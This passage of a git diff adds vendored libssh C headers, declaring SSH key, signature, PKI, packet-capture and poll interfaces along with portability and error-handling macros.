copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PCAP_H_ +#define PCAP_H_ + +#include "config.h" +#include "libssh/libssh.h" + +#ifdef WITH_PCAP +typedef struct ssh_pcap_context_struct* ssh_pcap_context; + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_pcap_file_write_packet(ssh_pcap_file pcap, ssh_buffer packet, uint32_t original_len); + +ssh_pcap_context ssh_pcap_context_new(ssh_session session); +void ssh_pcap_context_free(ssh_pcap_context ctx); + +enum ssh_pcap_direction{ + SSH_PCAP_DIR_IN, + SSH_PCAP_DIR_OUT +}; +void ssh_pcap_context_set_file(ssh_pcap_context, ssh_pcap_file); +int ssh_pcap_context_write(ssh_pcap_context,enum ssh_pcap_direction direction, void *data, + uint32_t len, uint32_t origlen); + + +#ifdef __cplusplus +} +#endif + +#endif /* WITH_PCAP */ +#endif /* PCAP_H_ */ diff --git a/vendor/libssh/include/libssh/pki.h b/vendor/libssh/include/libssh/pki.h new file mode 100644 index 0000000..879a1d5 --- /dev/null +++ b/vendor/libssh/include/libssh/pki.h @@ -0,0 +1,205 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PKI_H_ +#define PKI_H_ + +#include +#include "libssh/priv.h" +#ifdef HAVE_OPENSSL_EC_H +#include +#endif +#ifdef HAVE_OPENSSL_ECDSA_H +#include +#endif +#ifdef HAVE_LIBCRYPTO +#include +#endif +#include "libssh/crypto.h" +#if defined(HAVE_LIBCRYPTO) && defined(HAVE_OPENSSL_ED25519) +/* If using OpenSSL implementation, define the signature length which would be + * defined in libssh/ed25519.h otherwise */ +#define ED25519_SIG_LEN 64 +#else +#include "libssh/ed25519.h" +#endif +/* This definition is used for both OpenSSL and internal implementations */ +#define ED25519_KEY_LEN 32 + +#define MAX_PUBKEY_SIZE 0x100000 /* 1M */ +#define MAX_PRIVKEY_SIZE 0x400000 /* 4M */ + +#define SSH_KEY_FLAG_EMPTY 0x0 +#define SSH_KEY_FLAG_PUBLIC 0x0001 +#define SSH_KEY_FLAG_PRIVATE 0x0002 +#define SSH_KEY_FLAG_PKCS11_URI 0x0004 + +struct ssh_key_struct { + enum ssh_keytypes_e type; + int flags; + const char *type_c; /* Don't free it ! it is static */ + int ecdsa_nid; +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa; + gcry_sexp_t rsa; + gcry_sexp_t ecdsa; +#elif defined(HAVE_LIBMBEDCRYPTO) + mbedtls_pk_context *rsa; + mbedtls_ecdsa_context *ecdsa; + void *dsa; +#elif defined(HAVE_LIBCRYPTO) +#if OPENSSL_VERSION_NUMBER < 0x30000000L + DSA *dsa; + RSA *rsa; +#endif /* OPENSSL_VERSION_NUMBER */ +/* TODO Change to new API when the OpenSSL will support export of uncompressed EC keys + * https://github.com/openssl/openssl/pull/16624 + * Move into the #if above + */ +# if defined(HAVE_OPENSSL_ECC) + EC_KEY *ecdsa; +# else + void *ecdsa; +# endif /* HAVE_OPENSSL_EC_H */ + /* This holds either ENGINE key for PKCS#11 support or just key in + * high-level format required by OpenSSL 3.0 */ + EVP_PKEY *key; +#endif /* HAVE_LIBGCRYPT */ +#if defined(HAVE_LIBCRYPTO) && defined(HAVE_OPENSSL_ED25519) + uint8_t *ed25519_pubkey; + uint8_t *ed25519_privkey; +#else + ed25519_pubkey *ed25519_pubkey; + ed25519_privkey *ed25519_privkey; +#endif + ssh_string sk_application; + void *cert; + enum ssh_keytypes_e cert_type; +}; + +struct ssh_signature_struct { + enum ssh_keytypes_e type; + enum ssh_digest_e hash_type; + const char *type_c; +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa_sig; + gcry_sexp_t rsa_sig; + gcry_sexp_t ecdsa_sig; +#elif defined(HAVE_LIBMBEDCRYPTO) + ssh_string rsa_sig; + struct mbedtls_ecdsa_sig ecdsa_sig; +#endif /* HAVE_LIBGCRYPT */ +#if !defined(HAVE_LIBCRYPTO) || !defined(HAVE_OPENSSL_ED25519) + ed25519_signature *ed25519_sig; +#endif + ssh_string raw_sig; + + /* Security Key specific additions */ + uint8_t sk_flags; + uint32_t sk_counter; +}; + +typedef struct ssh_signature_struct *ssh_signature; + +#ifdef __cplusplus +extern "C" { +#endif + +/* SSH Key Functions */ +void ssh_key_clean (ssh_key key); + +const char * +ssh_key_get_signature_algorithm(ssh_session session, + enum ssh_keytypes_e type); +enum ssh_keytypes_e ssh_key_type_from_signature_name(const char *name); +enum ssh_keytypes_e ssh_key_type_plain(enum ssh_keytypes_e type); +enum ssh_digest_e ssh_key_type_to_hash(ssh_session session, + enum ssh_keytypes_e type); +enum ssh_digest_e ssh_key_hash_from_name(const char *name); + +#define is_ecdsa_key_type(t) \ + ((t) >= SSH_KEYTYPE_ECDSA_P256 && (t) <= SSH_KEYTYPE_ECDSA_P521) + +#define is_cert_type(kt)\ + ((kt) == SSH_KEYTYPE_DSS_CERT01 ||\ + (kt) == SSH_KEYTYPE_RSA_CERT01 ||\ + (kt) == SSH_KEYTYPE_SK_ECDSA_CERT01 ||\ + (kt) == SSH_KEYTYPE_SK_ED25519_CERT01 ||\ + ((kt) >= SSH_KEYTYPE_ECDSA_P256_CERT01 &&\ + (kt) <= SSH_KEYTYPE_ED25519_CERT01)) + +/* SSH Signature Functions */ +ssh_signature ssh_signature_new(void); +void ssh_signature_free(ssh_signature sign); +#define SSH_SIGNATURE_FREE(x) \ + do { ssh_signature_free(x); x = NULL; } while(0) + +int ssh_pki_export_signature_blob(const ssh_signature sign, + ssh_string *sign_blob); +int ssh_pki_import_signature_blob(const ssh_string sig_blob, + const ssh_key pubkey, + ssh_signature *psig); +int ssh_pki_signature_verify(ssh_session session, + ssh_signature sig, + const ssh_key key, + const unsigned char *digest, + size_t dlen); + +/* SSH Public Key Functions */ +int ssh_pki_export_pubkey_blob(const ssh_key key, + ssh_string *pblob); +int ssh_pki_import_pubkey_blob(const ssh_string key_blob, + ssh_key *pkey); + +int ssh_pki_import_cert_blob(const ssh_string cert_blob, + ssh_key *pkey); + + +/* SSH Signing Functions */ +ssh_string ssh_pki_do_sign(ssh_session session, ssh_buffer sigbuf, + const ssh_key privatekey, enum ssh_digest_e hash_type); +ssh_string ssh_pki_do_sign_agent(ssh_session session, + struct ssh_buffer_struct *buf, + const ssh_key pubkey); +ssh_string ssh_srv_pki_do_sign_sessionid(ssh_session session, + const ssh_key privkey, + const enum ssh_digest_e digest); + +/* Temporary functions, to be removed after migration to ssh_key */ +ssh_public_key ssh_pki_convert_key_to_publickey(const ssh_key key); +ssh_private_key ssh_pki_convert_key_to_privatekey(const ssh_key key); + +int ssh_key_algorithm_allowed(ssh_session session, const char *type); +bool ssh_key_size_allowed(ssh_session session, ssh_key key); + +/* Return the key size in bits */ +int ssh_key_size(ssh_key key); + +/* PKCS11 URI function to check if filename is a path or a PKCS11 URI */ +#ifdef WITH_PKCS11_URI +bool ssh_pki_is_uri(const char *filename); +char *ssh_pki_export_pub_uri_from_priv_uri(const char *priv_uri); +#endif /* WITH_PKCS11_URI */ + +#ifdef __cplusplus +} +#endif + +#endif /* PKI_H_ */ diff --git a/vendor/libssh/include/libssh/pki_priv.h b/vendor/libssh/include/libssh/pki_priv.h new file mode 100644 index 0000000..d0e1ef4 --- /dev/null +++ b/vendor/libssh/include/libssh/pki_priv.h @@ -0,0 +1,181 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PKI_PRIV_H_ +#define PKI_PRIV_H_ + +#include "libssh/pki.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* defined in bcrypt_pbkdf.c */ +int bcrypt_pbkdf(const char *pass, + size_t passlen, + const uint8_t *salt, + size_t saltlen, + uint8_t *key, + size_t keylen, + unsigned int rounds); + +#define RSA_HEADER_BEGIN "-----BEGIN RSA PRIVATE KEY-----" +#define RSA_HEADER_END "-----END RSA PRIVATE KEY-----" +#define DSA_HEADER_BEGIN "-----BEGIN DSA PRIVATE KEY-----" +#define DSA_HEADER_END "-----END DSA PRIVATE KEY-----" +#define ECDSA_HEADER_BEGIN "-----BEGIN EC PRIVATE KEY-----" +#define ECDSA_HEADER_END "-----END EC PRIVATE KEY-----" +#define OPENSSH_HEADER_BEGIN "-----BEGIN OPENSSH PRIVATE KEY-----" +#define OPENSSH_HEADER_END "-----END OPENSSH PRIVATE KEY-----" +/* Magic defined in OpenSSH/PROTOCOL.key */ +#define OPENSSH_AUTH_MAGIC "openssh-key-v1" + +/* Determine type of ssh key. */ +enum ssh_key_e { + SSH_KEY_PUBLIC = 0, + SSH_KEY_PRIVATE +}; + +void pki_key_clean(ssh_key key); + +int pki_key_ecdsa_nid_from_name(const char *name); +const char *pki_key_ecdsa_nid_to_name(int nid); +const char *ssh_key_signature_to_char(enum ssh_keytypes_e type, + enum ssh_digest_e hash_type); +enum ssh_digest_e ssh_key_type_to_hash(ssh_session session, + enum ssh_keytypes_e type); + +/* SSH Key Functions */ +ssh_key pki_key_dup(const ssh_key key, int demote); +int pki_key_generate_rsa(ssh_key key, int parameter); +int pki_key_generate_dss(ssh_key key, int parameter); +int pki_key_generate_ecdsa(ssh_key key, int parameter); +int pki_key_generate_ed25519(ssh_key key); + +int pki_key_compare(const ssh_key k1, + const ssh_key k2, + enum ssh_keycmp_e what); + +int pki_key_check_hash_compatible(ssh_key key, + enum ssh_digest_e hash_type); +/* SSH Private Key Functions */ +enum ssh_keytypes_e pki_privatekey_type_from_string(const char *privkey); +ssh_key pki_private_key_from_base64(const char *b64_key, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data); + +ssh_string pki_private_key_to_pem(const ssh_key key, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data); +int pki_import_privkey_buffer(enum ssh_keytypes_e type, + ssh_buffer buffer, + ssh_key *pkey); + +/* SSH Public Key Functions */ +int pki_pubkey_build_dss(ssh_key key, + ssh_string p, + ssh_string q, + ssh_string g, + ssh_string pubkey); +int pki_pubkey_build_rsa(ssh_key key, + ssh_string e, + ssh_string n); +int pki_pubkey_build_ecdsa(ssh_key key, int nid, ssh_string e); +ssh_string pki_publickey_to_blob(const ssh_key key); + +/* SSH Private Key Functions */ +int pki_privkey_build_dss(ssh_key key, + ssh_string p, + ssh_string q, + ssh_string g, + ssh_string pubkey, + ssh_string privkey); +int pki_privkey_build_rsa(ssh_key key, + ssh_string n, + ssh_string e, + ssh_string d, + ssh_string iqmp, + ssh_string p, + ssh_string q); +int pki_privkey_build_ecdsa(ssh_key key, + int nid, + ssh_string e, + ssh_string exp); +ssh_string pki_publickey_to_blob(const ssh_key key); + +/* SSH Signature Functions */ +ssh_signature pki_sign_data(const ssh_key privkey, + enum ssh_digest_e hash_type, + const unsigned char *input, + size_t input_len); +int pki_verify_data_signature(ssh_signature signature, + const ssh_key pubkey, + const unsigned char *input, + size_t input_len); +ssh_string pki_signature_to_blob(const ssh_signature sign); +ssh_signature pki_signature_from_blob(const ssh_key pubkey, + const ssh_string sig_blob, + enum ssh_keytypes_e type, + enum ssh_digest_e hash_type); + +/* SSH Signing Functions */ +ssh_signature pki_do_sign(const ssh_key privkey, + const unsigned char *input, + size_t input_len, + enum ssh_digest_e hash_type); +ssh_signature pki_do_sign_hash(const ssh_key privkey, + const unsigned char *hash, + size_t hlen, + enum ssh_digest_e hash_type); +int pki_ed25519_sign(const ssh_key privkey, ssh_signature sig, + const unsigned char *hash, size_t hlen); +int pki_ed25519_verify(const ssh_key pubkey, ssh_signature sig, + const unsigned char *hash, size_t hlen); +int pki_ed25519_key_cmp(const ssh_key k1, + const ssh_key k2, + enum ssh_keycmp_e what); +int pki_ed25519_key_dup(ssh_key new_key, const ssh_key key); +int pki_ed25519_public_key_to_blob(ssh_buffer buffer, ssh_key key); +ssh_string pki_ed25519_signature_to_blob(ssh_signature sig); +int pki_signature_from_ed25519_blob(ssh_signature sig, ssh_string sig_blob); +int pki_privkey_build_ed25519(ssh_key key, + ssh_string pubkey, + ssh_string privkey); + +/* PKI Container OpenSSH */ +ssh_key ssh_pki_openssh_pubkey_import(const char *text_key); +ssh_key ssh_pki_openssh_privkey_import(const char *text_key, + const char *passphrase, ssh_auth_callback auth_fn, void *auth_data); +ssh_string ssh_pki_openssh_privkey_export(const ssh_key privkey, + const char *passphrase, ssh_auth_callback auth_fn, void *auth_data); + +#ifdef WITH_PKCS11_URI +/* URI Function */ +int pki_uri_import(const char *uri_name, ssh_key *key, enum ssh_key_e key_type); +#endif /* WITH_PKCS11_URI */ + +bool ssh_key_size_allowed_rsa(int min_size, ssh_key key); +#ifdef __cplusplus +} +#endif + +#endif /* PKI_PRIV_H_ */ diff --git a/vendor/libssh/include/libssh/poll.h b/vendor/libssh/include/libssh/poll.h new file mode 100644 index 0000000..8e30676 --- /dev/null +++ b/vendor/libssh/include/libssh/poll.h @@ -0,0 +1,169 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef POLL_H_ +#define POLL_H_ + +#include "config.h" + +#ifdef HAVE_POLL + +#include +typedef struct pollfd ssh_pollfd_t; + +#else /* HAVE_POLL */ + +/* poll emulation support */ + +typedef struct ssh_pollfd_struct { + socket_t fd; /* file descriptor */ + short events; /* requested events */ + short revents; /* returned events */ +} ssh_pollfd_t; + +typedef unsigned long int nfds_t; + +#ifdef _WIN32 + +#ifndef POLLRDNORM +#define POLLRDNORM 0x0100 +#endif +#ifndef POLLRDBAND +#define POLLRDBAND 0x0200 +#endif +#ifndef POLLIN +#define POLLIN (POLLRDNORM | POLLRDBAND) +#endif +#ifndef POLLPRI +#define POLLPRI 0x0400 +#endif + +#ifndef POLLWRNORM +#define POLLWRNORM 0x0010 +#endif +#ifndef POLLOUT +#define POLLOUT (POLLWRNORM) +#endif +#ifndef POLLWRBAND +#define POLLWRBAND 0x0020 +#endif + +#ifndef POLLERR +#define POLLERR 0x0001 +#endif +#ifndef POLLHUP +#define POLLHUP 0x0002 +#endif +#ifndef POLLNVAL +#define POLLNVAL 0x0004 +#endif + +#else /* _WIN32 */ + +/* poll.c */ +#ifndef POLLIN +#define POLLIN 0x001 /* There is data to read. */ +#endif +#ifndef POLLPRI +#define POLLPRI 0x002 /* There is urgent data to read. */ +#endif +#ifndef POLLOUT +#define POLLOUT 0x004 /* Writing now will not block. */ +#endif + +#ifndef POLLERR +#define POLLERR 0x008 /* Error condition. */ +#endif +#ifndef POLLHUP +#define POLLHUP 0x010 /* Hung up. */ +#endif +#ifndef POLLNVAL +#define POLLNVAL 0x020 /* Invalid polling request. */ +#endif + +#ifndef POLLRDNORM +#define POLLRDNORM 0x040 /* mapped to read fds_set */ +#endif +#ifndef POLLRDBAND +#define POLLRDBAND 0x080 /* mapped to exception fds_set */ +#endif +#ifndef POLLWRNORM +#define POLLWRNORM 0x100 /* mapped to write fds_set */ +#endif +#ifndef POLLWRBAND +#define POLLWRBAND 0x200 /* mapped to write fds_set */ +#endif + +#endif /* WIN32 */ +#endif /* HAVE_POLL */ + +#ifdef __cplusplus +extern "C" { +#endif + +void ssh_poll_init(void); +void ssh_poll_cleanup(void); +int ssh_poll(ssh_pollfd_t *fds, nfds_t nfds, int timeout); +typedef struct ssh_poll_ctx_struct *ssh_poll_ctx; +typedef struct ssh_poll_handle_struct *ssh_poll_handle; + +/** + * @brief SSH poll callback. This callback will be used when an event + * caught on the socket. + * + * @param p Poll object this callback belongs to. + * @param fd The raw socket. + * @param revents The current poll events on the socket. + * @param userdata Userdata to be passed to the callback function. + * + * @return 0 on success, < 0 if you removed the poll object from + * its poll context. + */ +typedef int (*ssh_poll_callback)(ssh_poll_handle p, socket_t fd, int revents, + void *userdata); + +struct ssh_socket_struct; + +ssh_poll_handle ssh_poll_new(socket_t fd, short events, ssh_poll_callback cb, + void *userdata); +void ssh_poll_free(ssh_poll_handle p); +ssh_poll_ctx ssh_poll_get_ctx(ssh_poll_handle p); +short ssh_poll_get_events(ssh_poll_handle p); +void ssh_poll_set_events(ssh_poll_handle p, short events); +void ssh_poll_add_events(ssh_poll_handle p, short events); +void ssh_poll_remove_events(ssh_poll_handle p, short events); +socket_t ssh_poll_get_fd(ssh_poll_handle p); +void ssh_poll_set_fd(ssh_poll_handle p, socket_t fd); +void ssh_poll_set_callback(ssh_poll_handle p, ssh_poll_callback cb, void *userdata); +ssh_poll_ctx ssh_poll_ctx_new(size_t chunk_size); +void ssh_poll_ctx_free(ssh_poll_ctx ctx); +int ssh_poll_ctx_add(ssh_poll_ctx ctx, ssh_poll_handle p); +int ssh_poll_ctx_add_socket (ssh_poll_ctx ctx, struct ssh_socket_struct *s); +void ssh_poll_ctx_remove(ssh_poll_ctx ctx, ssh_poll_handle p); +int ssh_poll_ctx_dopoll(ssh_poll_ctx ctx, int timeout); +ssh_poll_ctx ssh_poll_get_default_ctx(ssh_session session); +int ssh_event_add_poll(ssh_event event, ssh_poll_handle p); +void ssh_event_remove_poll(ssh_event event, ssh_poll_handle p); + +#ifdef __cplusplus +} +#endif + +#endif /* POLL_H_ */ diff --git a/vendor/libssh/include/libssh/poly1305.h b/vendor/libssh/include/libssh/poly1305.h new file mode 100644 index 0000000..a22fea8 --- /dev/null +++ b/vendor/libssh/include/libssh/poly1305.h @@ -0,0 +1,27 @@ +/* + * Public Domain poly1305 from Andrew Moon + * poly1305-donna-unrolled.c from https://github.com/floodyberry/poly1305-donna + */ + +#ifndef POLY1305_H +#define POLY1305_H +#include "libssh/chacha20-poly1305-common.h" + +#ifdef __cplusplus +extern "C" { +#endif + +void poly1305_auth(uint8_t out[POLY1305_TAGLEN], const uint8_t *m, size_t inlen, + const uint8_t key[POLY1305_KEYLEN]) +#ifdef HAVE_GCC_BOUNDED_ATTRIBUTE + __attribute__((__bounded__(__minbytes__, 1, POLY1305_TAGLEN))) + __attribute__((__bounded__(__buffer__, 2, 3))) + __attribute__((__bounded__(__minbytes__, 4, POLY1305_KEYLEN))) +#endif + ; + +#ifdef __cplusplus +} +#endif + +#endif /* POLY1305_H */ diff --git a/vendor/libssh/include/libssh/priv.h b/vendor/libssh/include/libssh/priv.h new file mode 100644 index 0000000..47af57f --- /dev/null +++ b/vendor/libssh/include/libssh/priv.h @@ -0,0 +1,445 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * priv.h file + * This include file contains everything you shouldn't deal with in + * user programs. Consider that anything in this file might change + * without notice; libssh.h file will keep backward compatibility + * on binary & source + */ + +#ifndef _LIBSSH_PRIV_H +#define _LIBSSH_PRIV_H + +#include +#include +#include +#include +#include + +#if !defined(HAVE_STRTOULL) +# if defined(HAVE___STRTOULL) +# define strtoull __strtoull +# elif defined(HAVE__STRTOUI64) +# define strtoull _strtoui64 +# elif defined(__hpux) && defined(__LP64__) +# define strtoull strtoul +# else +# error "no strtoull function found" +# endif +#endif /* !defined(HAVE_STRTOULL) */ + +#ifdef __cplusplus +extern "C" { +#endif + +#if !defined(HAVE_STRNDUP) +char *strndup(const char *s, size_t n); +#endif /* ! HAVE_STRNDUP */ + +#ifdef HAVE_BYTESWAP_H +#include +#endif + +#ifdef HAVE_ARPA_INET_H +#include +#endif + +#ifndef bswap_32 +#define bswap_32(x) \ + ((((x) & 0xff000000) >> 24) | (((x) & 0x00ff0000) >> 8) | \ + (((x) & 0x0000ff00) << 8) | (((x) & 0x000000ff) << 24)) +#endif + +#ifdef _WIN32 + +# ifndef PRIu64 +# if __WORDSIZE == 64 +# define PRIu64 "lu" +# else +# define PRIu64 "llu" +# endif /* __WORDSIZE */ +# endif /* PRIu64 */ + +# ifndef PRIu32 +# define PRIu32 "u" +# endif /* PRIu32 */ + +# ifndef PRIx64 +# if __WORDSIZE == 64 +# define PRIx64 "lx" +# else +# define PRIx64 "llx" +# endif /* __WORDSIZE */ +# endif /* PRIx64 */ + +# ifndef PRIx32 +# define PRIx32 "x" +# endif /* PRIx32 */ + +# ifdef _MSC_VER +# include +# include /* va_copy define check */ + +/* On Microsoft compilers define inline to __inline on all others use inline */ +# undef inline +# define inline __inline + +# ifndef va_copy +# define va_copy(dest, src) (dest = src) +# endif + +# define strcasecmp _stricmp +# define strncasecmp _strnicmp +# if ! defined(HAVE_ISBLANK) +# define isblank(ch) ((ch) == ' ' || (ch) == '\t' || (ch) == '\n' || (ch) == '\r') +# endif + +# define usleep(X) Sleep(((X)+1000)/1000) + +# undef strtok_r +# define strtok_r strtok_s + +# if defined(HAVE__SNPRINTF_S) +# undef snprintf +# define snprintf(d, n, ...) _snprintf_s((d), (n), _TRUNCATE, __VA_ARGS__) +# else /* HAVE__SNPRINTF_S */ +# if defined(HAVE__SNPRINTF) +# undef snprintf +# define snprintf _snprintf +# else /* HAVE__SNPRINTF */ +# if !defined(HAVE_SNPRINTF) +# error "no snprintf compatible function found" +# endif /* HAVE_SNPRINTF */ +# endif /* HAVE__SNPRINTF */ +# endif /* HAVE__SNPRINTF_S */ + +# if defined(HAVE__VSNPRINTF_S) +# undef vsnprintf +# define vsnprintf(s, n, f, v) _vsnprintf_s((s), (n), _TRUNCATE, (f), (v)) +# else /* HAVE__VSNPRINTF_S */ +# if defined(HAVE__VSNPRINTF) +# undef vsnprintf +# define vsnprintf _vsnprintf +# else +# if !defined(HAVE_VSNPRINTF) +# error "No vsnprintf compatible function found" +# endif /* HAVE_VSNPRINTF */ +# endif /* HAVE__VSNPRINTF */ +# endif /* HAVE__VSNPRINTF_S */ + +# ifndef _SSIZE_T_DEFINED +# undef ssize_t +# include + typedef _W64 SSIZE_T ssize_t; +# define _SSIZE_T_DEFINED +# endif /* _SSIZE_T_DEFINED */ + +# endif /* _MSC_VER */ + +struct timeval; +int ssh_gettimeofday(struct timeval *__p, void *__t); + +#define gettimeofday ssh_gettimeofday + +#define _XCLOSESOCKET closesocket + +#else /* _WIN32 */ + +#include + +#define _XCLOSESOCKET close + +#endif /* _WIN32 */ + +#include "libssh/libssh.h" +#include "libssh/callbacks.h" + +/* some constants */ +#ifndef PATH_MAX +#ifdef MAX_PATH +#define PATH_MAX MAX_PATH +#else +#define PATH_MAX 4096 +#endif +#endif + +#ifndef MAX_PACKET_LEN +#define MAX_PACKET_LEN 262144 +#endif +#ifndef ERROR_BUFFERLEN +#define ERROR_BUFFERLEN 1024 +#endif + +#ifndef CLIENT_BANNER_SSH2 +#define CLIENT_BANNER_SSH2 "SSH-2.0-libssh_" SSH_STRINGIFY(LIBSSH_VERSION) +#endif /* CLIENT_BANNER_SSH2 */ + +#ifndef KBDINT_MAX_PROMPT +#define KBDINT_MAX_PROMPT 256 /* more than openssh's :) */ +#endif +#ifndef MAX_BUF_SIZE +#define MAX_BUF_SIZE 4096 +#endif + +#ifndef HAVE_COMPILER__FUNC__ +# ifdef HAVE_COMPILER__FUNCTION__ +# define __func__ __FUNCTION__ +# else +# error "Your system must provide a __func__ macro" +# endif +#endif + +#if defined(HAVE_GCC_THREAD_LOCAL_STORAGE) +# define LIBSSH_THREAD __thread +#elif defined(HAVE_MSC_THREAD_LOCAL_STORAGE) +# define LIBSSH_THREAD __declspec(thread) +#else +# define LIBSSH_THREAD +#endif + +/* + * This makes sure that the compiler doesn't optimize out the code + * + * Use it in a macro where the provided variable is 'x'. + */ +#if defined(HAVE_GCC_VOLATILE_MEMORY_PROTECTION) +# define LIBSSH_MEM_PROTECTION __asm__ volatile("" : : "r"(&(x)) : "memory") +#else +# define LIBSSH_MEM_PROTECTION +#endif + +/* forward declarations */ +struct ssh_common_struct; +struct ssh_kex_struct; + +enum ssh_digest_e { + SSH_DIGEST_AUTO=0, + SSH_DIGEST_SHA1=1, + SSH_DIGEST_SHA256, + SSH_DIGEST_SHA384, + SSH_DIGEST_SHA512, +}; + +int ssh_get_key_params(ssh_session session, + ssh_key *privkey, + enum ssh_digest_e *digest); + +/* LOGGING */ +void ssh_log_function(int verbosity, + const char *function, + const char *buffer); +#define SSH_LOG(priority, ...) \ + _ssh_log(priority, __func__, __VA_ARGS__) + +/* LEGACY */ +void ssh_log_common(struct ssh_common_struct *common, + int verbosity, + const char *function, + const char *format, ...) PRINTF_ATTRIBUTE(4, 5); + + +/* ERROR HANDLING */ + +/* error handling structure */ +struct error_struct { + int error_code; + char error_buffer[ERROR_BUFFERLEN]; +}; + +#define ssh_set_error(error, code, ...) \ + _ssh_set_error(error, code, __func__, __VA_ARGS__) +void _ssh_set_error(void *error, + int code, + const char *function, + const char *descr, ...) PRINTF_ATTRIBUTE(4, 5); + +#define ssh_set_error_oom(error) \ + _ssh_set_error_oom(error, __func__) +void _ssh_set_error_oom(void *error, const char *function); + +#define ssh_set_error_invalid(error) \ + _ssh_set_error_invalid(error, __func__) +void _ssh_set_error_invalid(void *error, const char *function); + +void ssh_reset_error(void *error); + +/* server.c */ +#ifdef WITH_SERVER +int ssh_auth_reply_default(ssh_session session,int partial); +int ssh_auth_reply_success(ssh_session session, int partial); +#endif +/* client.c */ + +int ssh_send_banner(ssh_session session, int is_server); + +/* connect.c */ +socket_t ssh_connect_host_nonblocking(ssh_session session, const char *host, + const char *bind_addr, int port); + +/* in base64.c */ +ssh_buffer base64_to_bin(const char *source); +uint8_t *bin_to_base64(const uint8_t *source, size_t len); + +/* gzip.c */ +int compress_buffer(ssh_session session,ssh_buffer buf); +int decompress_buffer(ssh_session session,ssh_buffer buf, size_t maxlen); + +/* match.c */ +int match_pattern_list(const char *string, const char *pattern, + size_t len, int dolower); +int match_hostname(const char *host, const char *pattern, unsigned int len); + +/* connector.c */ +int ssh_connector_set_event(ssh_connector connector, ssh_event event); +int ssh_connector_remove_event(ssh_connector connector); + +#ifndef MIN +#define MIN(a,b) ((a) < (b) ? (a) : (b)) +#endif + +#ifndef MAX +#define MAX(a,b) ((a) > (b) ? (a) : (b)) +#endif + +/** Free memory space */ +#define SAFE_FREE(x) do { if ((x) != NULL) {free(x); x=NULL;} } while(0) + +/** Zero a structure */ +#define ZERO_STRUCT(x) memset((char *)&(x), 0, sizeof(x)) + +/** Zero a structure given a pointer to the structure */ +#define ZERO_STRUCTP(x) do { if ((x) != NULL) memset((char *)(x), 0, sizeof(*(x))); } while(0) + +/** Get the size of an array */ +#define ARRAY_SIZE(a) (sizeof(a)/sizeof(a[0])) + +#ifndef HAVE_EXPLICIT_BZERO +void explicit_bzero(void *s, size_t n); +#endif /* !HAVE_EXPLICIT_BZERO */ + +/** + * This is a hack to fix warnings. The idea is to use this everywhere that we + * get the "discarding const" warning by the compiler. That doesn't actually + * fix the real issue, but marks the place and you can search the code for + * discard_const. + * + * Please use this macro only when there is no other way to fix the warning. + * We should use this function in only in a very few places. + * + * Also, please call this via the discard_const_p() macro interface, as that + * makes the return type safe. + */ +#define discard_const(ptr) ((void *)((uintptr_t)(ptr))) + +/** + * Type-safe version of discard_const + */ +#define discard_const_p(type, ptr) ((type *)discard_const(ptr)) + +/** + * Get the argument count of variadic arguments + */ +/* + * Since MSVC 2010 there is a bug in passing __VA_ARGS__ to subsequent + * macros as a single token, which results in: + * warning C4003: not enough actual parameters for macro '_VA_ARG_N' + * and incorrect behavior. This fixes issue. + */ +#define VA_APPLY_VARIADIC_MACRO(macro, tuple) macro tuple + +#define __VA_NARG__(...) \ + (__VA_NARG_(__VA_ARGS__, __RSEQ_N())) +#define __VA_NARG_(...) \ + VA_APPLY_VARIADIC_MACRO(__VA_ARG_N, (__VA_ARGS__)) +#define __VA_ARG_N( \ + _1, _2, _3, _4, _5, _6, _7, _8, _9,_10, \ + 